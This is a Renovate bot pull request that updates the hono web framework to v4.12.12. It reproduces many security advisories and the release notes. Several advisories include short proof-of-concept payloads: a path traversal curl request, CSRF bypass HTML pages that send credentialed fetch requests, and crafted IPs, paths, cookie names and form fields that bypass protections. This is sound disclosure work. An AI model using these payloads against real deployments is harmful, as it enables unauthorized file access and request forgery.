chore(deps): update dependency hono to v4.12.12 [security] by renovate[bot] · Pull Request #169 · ZephyrCloudIO/zephyr-examples

renovate · 2026-04-16T05:48:45Z

This PR contains the following updates:

Package	Change	Age	Confidence
hono (source)	`4.12.7` → `4.12.12`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2024-32869

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial
https://hono.dev/getting-started/deno

PoC

$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
    └── a.txt

source

import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts'
import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'

const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE-2024-43787

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

Severity

CVSS Score: 2.3 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

CVE-2024-48913

Summary

Bypass CSRF Middleware by a request without Content-Type herader.

Details

Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC

// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
  return c.html('Hello Hono!')
})
app.post('/', async (c) => {
  console.log("executed")
  return c.text( await c.req.text())
})
Deno.serve(app.fetch)

<!-- PoC.html -->
<script>
async function myclick() {
    await fetch("http://evil.example.com", {
    method: "POST",
    credentials: "include",
    body:new Blob([`test`],{}),
    });
}
</script>
<input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.

await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact

Bypass csrf protection implemented with hono csrf middleware.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N

CVE-2025-59139

Summary

A flaw in the bodyLimit middleware could allow bypassing the configured request body size limit when conflicting HTTP headers were present.

Details

The middleware previously prioritized the Content-Length header even when a Transfer-Encoding: chunked header was also included. According to the HTTP specification, Content-Length must be ignored in such cases. This discrepancy could allow oversized request bodies to bypass the configured limit.

Most standards-compliant runtimes and reverse proxies may reject such malformed requests with 400 Bad Request, so the practical impact depends on the runtime and deployment environment.

Impact

If body size limits are used as a safeguard against large or malicious requests, this flaw could allow attackers to send oversized request bodies. The primary risk is denial of service (DoS) due to excessive memory or CPU consumption when handling very large requests.

Resolution

The implementation has been updated to align with the HTTP specification, ensuring that Transfer-Encoding takes precedence over Content-Length. The issue is fixed in Hono v4.9.7, and all users should upgrade immediately.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE-2025-62610

Improper Authorization in Hono (JWT Audience Validation)

Hono’s JWT authentication middleware did not validate the aud (Audience) claim by default. As a result, applications using the middleware without an explicit audience check could accept tokens intended for other audiences, leading to potential cross-service access (token mix-up).

The issue is addressed by adding a new verification.aud configuration option to allow RFC 7519–compliant audience validation. This change is classified as a security hardening improvement, but the lack of validation can still be considered a vulnerability in deployments that rely on default JWT verification.

Recommended secure configuration

You can enable RFC 7519–compliant audience validation using the new verification.aud option:

import { Hono } from 'hono'
import { jwt } from 'hono/jwt'

const app = new Hono()

app.use(
  '/api/*',
  jwt({
    secret: 'my-secret',
    verification: {
      // Require this API to only accept tokens with aud = 'service-a'
      aud: 'service-a',
    },
  })
)

Below is the original description by the reporter. For security reasons, it does not include PoC reproduction steps, as the vulnerability can be clearly understood from the technical description.

The original description by the reporter

Summary

Hono’s JWT Auth Middleware does not provide a built-in aud (Audience) verification option, which can cause confused-deputy / token-mix-up issues: an API may accept a valid token that was issued for a different audience (e.g., another service) when multiple services share the same issuer/keys. This can lead to unintended cross-service access. Hono’s docs list verification options for iss/nbf/iat/exp only, with no aud support; RFC 7519 requires that when an aud claim is present, tokens MUST be rejected unless the processing party identifies itself in that claim.

Note: This problem likely exists in the JWK/JWKS-based middleware as well (e.g., jwk / verifyWithJwks)

Details

The middleware’s verifyOptions enumerate only iss, nbf, iat, and exp; there is no aud option. The same omission appears in the JWT Helper’s “Payload Validation” list. Developers relying on the middleware for complete standards-aligned validation therefore won’t check audience by default.
Standards requirement: RFC 7519 §4.1.3 states that each principal intended to process the JWT MUST identify itself with a value in the aud claim; if it does not, the JWT MUST be rejected (when aud is present). Lack of a first-class aud check increases the risk that tokens issued for Service B are accepted by Service A.
Real-world effect: In deployments with a single IdP/JWKS and shared keys across multiple services, a token minted for one audience can be mistakenly accepted by another audience unless developers implement a custom audience check.
- For example, with Google Identity (OIDC), iss is always https://accounts.google.com (shared across apps), but aud differs per application because it is that app’s OAuth client ID; therefore, an attacker can host a separate service that supports “Sign in with Google,” obtain a valid ID token (JWT) for the victim user, and—if your API does not verify aud—use that token to access your API with the victim’s privileges.

Impact

Type: Authentication/authorization weakness via token mix-up (confused-deputy).

Who is impacted: Any Hono user who:

shares an issuer/keys across multiple services (common with a single IdP/JWKS)
distinguishes tokens by intended recipient using aud.

What can happen:

Cross-service access: A token for Service B may be accepted by Service A.
Boundary erosion: ID tokens and access tokens, or separate API audiences, can be inadvertently intermixed.
- This may causes unauthorized invocation of sensitive endpoints.

Recommended remediation:

Add verifyOptions.aud (string | string[] | RegExp) to the middleware and enforce RFC 7519 semantics: In verify method, if aud is present and does not match with specified audiences, reject.
Ensure equivalent aud handling exists in the JWK/JWKS flow (jwk middleware / verifyWithJwks) so users of external IdPs can enforce audience consistently.

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

GHSA-q7jf-gf43-6x6p

Summary

A flaw in the CORS middleware allowed request Vary headers to be reflected into the response, enabling attacker-controlled Vary values and potentially affecting cache behavior.

Details

The middleware previously copied the Vary header from the request when origin was not set to "*". Since Vary is a response header that should only be managed by the server, this could allow an attacker to influence caching behavior or cause inconsistent CORS handling.

Most environments will see impact only when shared caches or proxies rely on the Vary header. The practical effect varies by configuration.

Impact

May cause cache key pollution and inconsistent CORS enforcement in certain setups. No direct confidentiality, integrity, or availability impact in default configurations.

Resolution

Update to the latest patched release. The CORS middleware has been corrected to handle Vary exclusively as a response header.

Severity

CVSS Score: 4.2 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

CVE-2026-22817

Summary

A flaw in Hono’s JWK/JWKS JWT verification middleware allowed the JWT header’s alg value to influence signature verification when the selected JWK did not explicitly specify an algorithm. This could enable JWT algorithm confusion and, in certain configurations, allow forged tokens to be accepted.

Details

When verifying JWTs using JWKs or a JWKS endpoint, the middleware selected the verification algorithm based on the JWK’s alg field if present, but otherwise fell back to the alg value provided in the unverified JWT header.

Because the alg field in a JWK is optional and often omitted in real-world JWKS configurations, this behavior could allow an attacker to control the algorithm used for verification. In some environments, this may lead to authentication or authorization
bypass through crafted tokens.

The practical impact depends on application configuration, including which algorithms are accepted and how JWTs are used for authorization decisions.

Impact

In affected configurations, an attacker may be able to forge JWTs with attacker-controlled claims, potentially resulting in authentication or authorization bypass.

Applications that do not use the JWK/JWKS middleware, do not rely on JWT-based authentication, or explicitly restrict allowed algorithms are not affected.

Resolution

Update to the latest patched release.

Breaking change:

As part of this fix, the JWT middleware now requires the alg option to be explicitly specified. This prevents algorithm confusion by ensuring that the verification algorithm is not derived from untrusted JWT header values.

Applications upgrading must update their configuration accordingly.

Before (vulnerable configuration)

import { jwt } from 'hono/jwt'

app.use(
  '/auth/*',
  jwt({
    secret: 'it-is-very-secret',
    // alg was optional
  })
)

After (patched configuration)

import { jwt } from 'hono/jwt'

app.use(
  '/auth/*',
  jwt({
    secret: 'it-is-very-secret',
    alg: 'HS256', // required
  })
)

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

CVE-2026-22818

Summary

A flaw in Hono’s JWK/JWKS JWT verification middleware allowed the algorithm specified in the JWT header to influence signature verification when the selected JWK did not explicitly define an algorithm. This could enable JWT algorithm confusion and, in certain configurations, allow forged tokens to be accepted.

Details

When verifying JWTs using JWKs or a JWKS endpoint, the middleware selected the verification algorithm based on the JWK’s alg field if present. If the JWK did not specify an algorithm, the middleware fell back to using the alg value provided in the unverified JWT header.

Because the alg field in a JWK is optional and commonly omitted in real-world JWKS configurations, this behavior could allow an attacker to influence which algorithm is used for verification. In some environments, this may result in authentication or authorization bypass through crafted JWTs.

The practical impact depends on application configuration, including which algorithms are accepted and how JWTs are used to make authorization decisions.

Impact

In affected configurations, an attacker may be able to forge JWTs with attacker-controlled claims, potentially leading to authentication or authorization bypass.

Applications that do not use the JWK/JWKS middleware, do not rely on JWT-based authentication, or explicitly restrict allowed algorithms are not affected.

Resolution

Update to the latest patched release.

Breaking change:

The JWK/JWKS JWT verification middleware has been updated to require an explicit allowlist of asymmetric algorithms when verifying tokens. The middleware no longer derives the verification algorithm from untrusted JWT header values.

Instead, callers must explicitly specify which asymmetric algorithms are permitted, and only tokens signed with those algorithms will be accepted. This prevents JWT algorithm confusion by ensuring that algorithm selection is fully controlled by application
configuration.

As part of this fix, the alg option is now required when using the JWK/JWKS middleware, and symmetric (HS*) algorithms are no longer accepted in this context.

Before (vulnerable configuration)

import { jwk } from 'hono/jwk'

app.use(
  '/auth/*',
  jwk({
    jwks_uri: 'https://example.com/.well-known/jwks.json',
    // alg was optional
  })
)

After (patched configuration)

import { jwk } from 'hono/jwk'

app.use(
  '/auth/*',
  jwk({
    jwks_uri: 'https://example.com/.well-known/jwks.json',
    alg: ['RS256'], // required: explicit asymmetric algorithm allowlist
  })
)

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

CVE-2026-24398

Summary

IP Restriction Middleware in Hono is vulnerable to an IP address validation bypass. The IPV4_REGEX pattern and convertIPv4ToBinary function in src/utils/ipaddr.ts do not properly validate that IPv4 octet values are within the valid range of 0-255, allowing attackers to craft malformed IP addresses that bypass IP-based access controls.

Details

The vulnerability exists in two components:

Permissive regex pattern: The IPV4_REGEX (/^[0-9]{0,3}\.[0-9]{0,3}\.[0-9]{0,3}\.[0-9]{0,3}$/) accepts octet values greater than 255 (e.g., 999).
Unsafe binary conversion: The convertIPv4ToBinary function does not validate octet ranges before performing bitwise operations. When an octet exceeds 255, it overflows into adjacent octets during the bit-shift calculation.

For example, the IP address 1.2.2.355 is accepted and converts to the same binary value as 1.2.3.99:

355 = 256 + 99 = 0x163
After bit-shifting: (1 << 24) + (2 << 16) + (2 << 8) + 355 = 0x01020363 = 1.2.3.99

Impact

An attacker can bypass IP-based restrictions by crafting malformed IP addresses:

Blocklist bypass: If 1.2.3.0/24 is blocked, an attacker can use 1.2.2.355 (or similar) to bypass the restriction.
Allowlist bypass: Requests from unauthorized IP ranges may be incorrectly permitted.

This is exploitable when the application relies on client-provided IP addresses (e.g., X-Forwarded-For header) for access control decisions.

Affected Components

IP Restriction Middleware
src/utils/ipaddr.ts: IPV4_REGEX, convertIPv4ToBinary, distinctRemoteAddr

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE-2026-24472

Summary

Cache Middleware contains an information disclosure vulnerability caused by improper handling of HTTP cache control directives. The middleware does not respect standard cache control headers such as Cache-Control: private or Cache-Control: no-store, which may result in private or authenticated responses being cached and subsequently exposed to unauthorized users.

Details

The vulnerability exists in the cache decision logic of Cache Middleware. When determining whether a response should be cached, the middleware does not take HTTP cache control semantics into account and may cache responses that are explicitly marked as private by the application. While some runtimes, such as Cloudflare Workers, enforce cache control restrictions at the platform level, other runtimes including Deno, Bun, and Node.js rely on the middleware’s behavior. As a result, applications running on these runtimes may unintentionally cache sensitive responses.

Impact

This issue can lead to Web Cache Deception and information disclosure. If an authenticated user accesses an endpoint that returns user-specific or sensitive data and the response is cached despite being marked as private, subsequent unauthenticated requests may receive the cached response. This may result in the exposure of personally identifiable information or session-related data. The impact is limited to applications that use the hono/cache middleware and rely on it to correctly honor HTTP cache control directives.

Affected Components

Cache Middleware

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE-2026-24473

Summary

Serve static Middleware for the Cloudflare Workers adapter contains an information disclosure vulnerability that may allow attackers to read arbitrary keys from the Workers environment. Improper validation of user-controlled paths can result in unintended access to internal asset keys.

Details

The vulnerability exists in the serve-static middleware used with the Cloudflare Workers adapter. When serving static assets, the middleware does not sufficiently validate or restrict user-supplied paths before resolving them against the Workers asset storage.

As a result, an attacker may craft requests that access arbitrary keys beyond the intended static asset scope. This issue only affects applications running on Cloudflare Workers that use Serve static Middleware with user-controllable request paths.

Impact

This vulnerability may lead to information disclosure by allowing unauthorized access to internal assets or data stored in the Workers environment. The exposed data is limited to readable asset keys and does not allow modification of stored data or execution of arbitrary code.

The impact is limited to applications that use Serve static Middleware in the Cloudflare Workers adapter and rely on it to safely handle untrusted request paths.

Affected Components

Serve static Middleware (Cloudflare Workers adapter)

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CVE-2026-24771

Summary

A Cross-Site Scripting (XSS) vulnerability exists in the ErrorBoundary component of the hono/jsx library. Under certain usage patterns, untrusted user-controlled strings may be rendered as raw HTML, allowing arbitrary script execution in the victim's browser.

Details

The issue is in the ErrorBoundary component (src/jsx/components.ts). ErrorBoundary previously forced certain rendered output paths to be treated as raw HTML, bypassing the library's default escaping behavior. This could result in unescaped rendering when developers pass user-controlled strings directly as children, or when fallbackRender returns user-controlled strings (for example, reflecting error messages that contain attacker input).

This vulnerability is only exploitable when an application renders untrusted user input within ErrorBoundary without appropriate escaping or sanitization.

Impact

Successful exploitation may allow attackers to execute arbitrary JavaScript in the victim’s browser (reflected XSS). Depending on the application context, this can lead to actions such as session compromise, data exfiltration, or performing unauthorized actions as the victim.

Affected Components

hono/jsx: ErrorBoundary component

Severity

CVSS Score: 4.7 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

GHSA-gq3j-xvxp-8hrf

Summary

The basicAuth and bearerAuth middlewares previously used a comparison that was not fully timing-safe.

The timingSafeEqual function used normal string equality (===) when comparing hash values. This comparison may stop early if values differ, which can theoretically cause small timing differences.

The implementation has been updated to use a safer comparison method.

Details

The issue was caused by the use of normal string equality (===) when comparing hash values inside the timingSafeEqual function.

In JavaScript, string comparison may stop as soon as a difference is found. This means the comparison time can slightly vary depending on how many characters match.

Under very specific and controlled conditions, this behavior could theoretically allow timing-based analysis.

The implementation has been updated to:

Avoid early termination during comparison
Use a constant-time-style comparison method

Impact

This issue is unlikely to be exploited in normal environments.

It may only be relevant in highly controlled situations where precise timing measurements are possible.

This change is considered a security hardening improvement. Users are encouraged to upgrade to the latest version.

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE-2026-29045

Summary

When using serveStatic together with route-based middleware protections (e.g. app.use('/admin/*', ...)), inconsistent URL decoding allowed protected static resources to be accessed without authorization.

The router used decodeURI, while serveStatic used decodeURIComponent. This mismatch allowed paths containing encoded slashes (%2F) to bypass middleware protections while still resolving to the intended filesystem path.

Details

The routing layer preserved %2F as a literal string, while serveStatic decoded it into / before resolving the file path.

Example:

Request: /admin%2Fsecret.html

Router sees: /admin%2Fsecret.html → does not match /admin/*
Static handler resolves: /admin/secret.html

As a result, static files under the configured static root could be served without triggering route-based protections.

This only affects applications that both:

Protect subpaths using route-based middleware, and
Serve files from the same static root using serveStatic.

This does not allow access outside the static root and is not a path traversal vulnerability.

Impact

An unauthenticated attacker could bypass route-based authorization for protected static resources by supplying paths containing encoded slashes.

Applications relying solely on route-based middleware to protect static subpaths may have exposed those resources.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE-2026-29085

Summary

When using streamSSE() in Streaming Helper, the event, id, and retry fields were not validated for carriage return (\r) or newline (\n) characters.

Because the SSE protocol uses line breaks as field delimiters, this could allow injection of additional SSE fields within the same event frame if untrusted input was passed into these fields.

Details

The SSE helper builds event frames by joining lines with \n. While multi-line data: fields are handled according to the SSE specification, the event, id, and retry fields previously allowed raw values without rejecting embedded CR/LF characters.

Including CR/LF in these control fields could allow unintended additional fields (such as data:, id:, or retry:) to be injected into the event stream.

The issue has been fixed by rejecting CR/LF characters in these fields.

Impact

An attacker could manipulate the structure of SSE event frames if an application passed user-controlled input directly into event, id, or retry.

Depending on application behavior, this could result in injected SSE fields or altered event stream handling. Applications that render e.data in an unsafe manner (for example, using innerHTML) could potentially expose themselves to client-side script injection.

This issue affects applications that rely on the SSE helper to enforce protocol-level constraints.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE-2026-29086

Summary

The setCookie() utility did not validate semicolons (;), carriage returns (\r), or newline characters (\n) in the domain and path options when constructing the Set-Cookie header.

Because cookie attributes are delimited by semicolons, this could allow injection of additional cookie attributes if untrusted input was passed into these fields.

Details

setCookie() builds the Set-Cookie header by concatenating option values. While the cookie value itself is URL-encoded, the domain and path options were previously interpolated without rejecting unsafe characters.

Including ;, \r, or \n in these fields could result in unintended additional attributes (such as SameSite, Secure, Domain, or Path) being appended to the cookie header.

Modern runtimes prevent full header injection via CRLF, so this issue is limited to attribute-level manipulation within a single Set-Cookie header.

The issue has been fixed by rejecting these characters in the domain and path options.

Impact

An attacker may be able to manipulate cookie attributes if an application passes user-controlled input directly into the domain or path options of setCookie().

This could affect cookie scoping or security attributes depending on browser behavior. Exploitation requires application-level misuse of cookie options.

Severity

CVSS Score: 5.4 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

GHSA-v8w9-8mx6-g223

Summary

When using parseBody({ dot: true }) in HonoRequest, specially crafted form field names such as __proto__.x could create objects containing a __proto__ property.

If the parsed result is later merged into regular JavaScript objects using unsafe merge patterns, this may lead to prototype pollution in the target object.

Details

The parseBody({ dot: true }) feature supports dot notation to construct nested objects from form field names.

In previous versions, the __proto__ path segment was not filtered. As a result, specially crafted keys such as __proto__.x could produce objects containing __proto__ properties.

While this behavior does not directly modify Object.prototype within Hono itself, it may become exploitable if the parsed result is later merged into regular JavaScript objects using unsafe merge patterns.

Impact

Applications that merge parsed form data into regular objects using unsafe patterns (for example recursive deep merge utilities) may become vulnerable to prototype pollution.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE-2026-39407

Summary

A path handling inconsistency in serveStatic allows protected static files to be accessed by using repeated slashes (//) in the request path.

When route-based middleware (e.g., /admin/*) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass.

Details

The routing layer and serveStatic handle repeated slashes differently.

For example:

/admin/secret.txt => matches /admin/*
/admin//secret.txt => may not match /admin/*

However, serveStatic may interpret both paths as the same file location (e.g., admin/secret.txt) and return the file.

This inconsistency allows a request such as:

GET //admin/secret.txt

to bypass middleware registered on /admin/* and access protected files.

The issue has been fixed by rejecting paths that contain repeated slashes, ensuring consistent behavior between route matching and static file resolution.

Impact

An attacker can access static files that are intended to be protected by route-based middleware by using repeated slashes in the request path.

This can lead to unauthorized access to sensitive files under the static root.

This issue affects applications that rely on serveStatic together with route-based middleware for access control.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

GHSA-26pp-8wgv-hjvm

Summary

Cookie names are not validated on the write path when using setCookie(), serialize(), or serializeSigned() to generate Set-Cookie headers.

While certain cookie attributes such as domain and path are validated, the cookie name itself may contain invalid characters.

This results in inconsistent handling of cookie names between parsing (read path) and serialization (write path).

Details

When applications use setCookie(), serialize(), or serializeSigned() with a user-controlled cookie name, invalid values (e.g., containing control characters such as \r or \n) can be used to construct malformed Set-Cookie header values.

For example:

Set-Cookie: legit
X-Injected: evil=value

However, in modern runtimes such as Node.js and Cloudflare Workers, such invalid header values are rejected and result in a runtime error before the response is sent.

As a result, the reported header injection / response splitting behavior could not be reproduced in these environments.

Impact

Applications that pass untrusted input as the cookie name to setCookie(), serialize(), or serializeSigned() may encounter runtime errors due to invalid header values.

In tested environments, malformed Set-Cookie headers are rejected before being sent, and the reported header injection behavior could not be reproduced.

This issue primarily affects correctness and robustness rather than introducing a confirmed exploitable vulnerability.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE-2026-39410

Summary

A discrepancy between browser cookie parsing and parse() handling allows cookie prefix protections to be bypassed.

Cookie names that are treated as distinct by the browser may be normalized to the same key by parse(), allowing attacker-controlled cookies to override legitimate ones.

Details

Browsers follow RFC 6265bis and only trim SP (0x20) and HTAB (0x09) from cookie names. Other characters, such as the non-breaking space (U+00A0), are preserved as part of the cookie name.

For example, the browser treats the following cookies as distinct:

"dummy-cookie"
"\u00a0dummy-cookie"

However, parse() previously used JavaScript's trim(), which removes a broader set of characters including U+00A0. As a result, both names are normalized to:

"dummy-cookie"

This mismatch allows attacker-controlled cookies with a U+00A0 prefix to shadow or override legitimate cookies when accessed via getCookie().

Impact

An attacker who can set cookies (e.g., via a man-in-the-middle on a non-secure page or other injection vector) can bypass cookie prefix protections and override sensitive cookies.

This may lead to:

Bypassing __Secure- and __Host- prefix protections
Overriding cookies that rely on the Secure attribute
Session fixation or session hijacking depending on application usage

This issue affects applications that rely on getCookie() for security-sensitive cookie handling.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE-2026-39409

Summary

ipRestriction() does not canonicalize IPv4-mapped IPv6 client addresses (e.g. ::ffff:127.0.0.1) before applying IPv4 allow or deny rules. In environments such as Node.js dual-stack, this can cause IPv4 rules to fail to match, leading to unintended authorization behavior.

Details

The middleware classifies client addresses based on their textual form. Addresses containing ":" are treated as IPv6, including IPv4-mapped IPv6 addresses such as ::ffff:127.0.0.1. These addresses are not normalized to IPv4 before matching.

As a result:

IPv4 static rules (e.g. 127.0.0.1) do not match because the raw string differs
IPv4 CIDR rules (e.g. 127.0.0.0/8, 10.0.0.0/8) are skipped because the address is treated as IPv6

For example, with:

denyList: ['127.0.0.1']

a request from 127.0.0.1 may be represented as ::ffff:127.0.0.1 and bypass the deny rule.

This behavior commonly occurs in Node.js environments where IPv4 clients are exposed as IPv4-mapped IPv6 addresses.

Impact

Applications that rely on IPv4-based ipRestriction() rules may incorrectly allow or deny requests.

In affected deployments, a denied IPv4 client may bypass access restrictions. Conversely, legitimate clients may be rejected when using IPv4 allow lists.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CVE-2026-39408

Summary

A path traversal issue in toSSG() allows files to be written outside the configured output directory during static site generation. When using dynamic route parameters via ssgParams, specially crafted values can cause generated file paths to escape the intended output directory.

Details

The static site generation process creates output files based on route paths derived from application routes and parameters. When ssgParams is used to provide values for dynamic routes, those values are used to construct output file paths. If these values contain traversal sequences (e.g. ..), the resulting output path may resolve outside the configured output directory. As a result, files may be written to unintended locations instead of being confined within the specified output directory.

For example:

import { Hono } from 'hono'
import { toSSG, ssgParams } from 'hono/ssg'

const app = new Hono()

app.get('/:id', ssgParams([{ id: '../pwned' }]), (c) => {
  return c.text('pwned')
})

toSSG(app, fs, { dir: './static' })

In this case, the generated output path may resolve outside ./static, resulting in a file being written outside the intended output directory.

Impact

An attacker who can influence values passed to ssgParams during the build process may be able to write files outside the intended output directory.

Depending on the build and deployment environment, this may:

overwrite unintended files
affect generated artifacts
impact deployment outputs or downstream tooling

This issue is limited to build-time static site generation and does not affect request-time routing.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Release Notes

honojs/hono (hono)

`v4.12.12`

Compare Source

Security fixes

This release includes fixes for the following security issues:

Middleware bypass via repeated slashes in serveStatic

Affects: Serve Static middleware. Fixes a path normalization inconsistency where repeated slashes (//) could bypass route-based middleware protections and allow access to protected static files. GHSA-wmmm-f939-6g9c

Path traversal in toSSG() allows writing files outside the output directory

Affects: toSSG() for Static Site Generation. Fixes a path traversal issue where crafted ssgParams values could write files outside the configured output directory. GHSA-xf4j-xp2r-rqqx

Incorrect IP matching in ipRestriction() for IPv4-mapped IPv6 addresses

Affects: IP Restriction Middleware. Fixes improper handling of IPv4-mapped IPv6 addresses (e.g. ::ffff:127.0.0.1) that could cause allow/deny rules to be bypassed. GHSA-xpcf-pg52-r92g

Missing validation of cookie name on write path in setCookie()

Affects: setCookie(), serialize(), and serializeSigned() from hono/cookie. Fixes missing validation of cookie names on the write path, preventing inconsistent handling between parsing and serialization. GHSA-26pp-8wgv-hjvm

Non-breaking space prefix bypass in cookie name handling in getCookie()

Affects: getCookie() from hono/cookie. Fixes a discrepancy in cookie name handling that could allow attacker-controlled cookies to override legitimate ones and bypass prefix protections. GHSA-r5rp-j6wh-rvv4

Users who use Serve Static, Static Site Generation, Cookie utilities, or IP restriction middleware are strongly encouraged to upgrade to this version.

`v4.12.11`

Compare Source

What's Changed

feat(css): add classNameSlug option to createCssContext by @flow-pie in #4834

New Contributors

@flow-pie made their first contribution in #4834

Full Changelog: honojs/hono@v4.12.10...v4.12.11

`v4.12.10`

Compare Source

What's Changed

test(router): fix Simple capturing group test by @yusukebe in #4838
docs: fix impaired -> inspired typo in benchmark READMEs by @Abhi3975 in #4843
fix(jsx/dom): apply select value after children are rendered by @usualoma in #4847
fix(compress): convert strong ETag to weak ETag when compressing by @usualoma in #4848
docs(ip-restriction): add clear JSDoc examples and param types by @VISHNU7KASIREDDY in #4851

New Contributors

@Abhi3975 made their first contribution in #4843
@VISHNU7KASIREDDY made their first contribution in #4851

Full Changelog: honojs/hono@v4.12.9...v4.12.10

`v4.12.9`

Compare Source

What's Changed

fix(request): remove parseBody from bodyCache to prevent TypeError by @yusukebe in #4807
feat(client): add PickResponseByStatusCode type by @yusukebe in #4791
fix(ssg): pass SSG_CONTEXT to forGetInfoURLRequest by @yuintei in #4810
fix(service-worker): make fire() fallback behavior consistent with handle() by @yusukebe in #4821
fix(cors): reflect request origin when credentials is true with wildcard by @ctonneslan in #4813

New Contributors

@yuintei made their first contribution in #4810
@ctonneslan made their first contribution in #4813

Full Changelog: honojs/hono@v4.12.8...v4.12.9

`v4.12.8`

Compare Source

What's Changed

fix(utils/mime): Normalize input extension to lowercase before MIME check by @TheEssem in #4800
fix(bearer-auth): escape regex metacharacters in bearer auth prefix option by @otoneko1102 in #4750

New Contributors

@TheEssem made their first contribution in #4800

Full Changelog: honojs/hono@v4.12.7...v4.12.8

Configuration

📅 Schedule: (in timezone America/New_York)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate · 2026-04-16T05:48:49Z

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
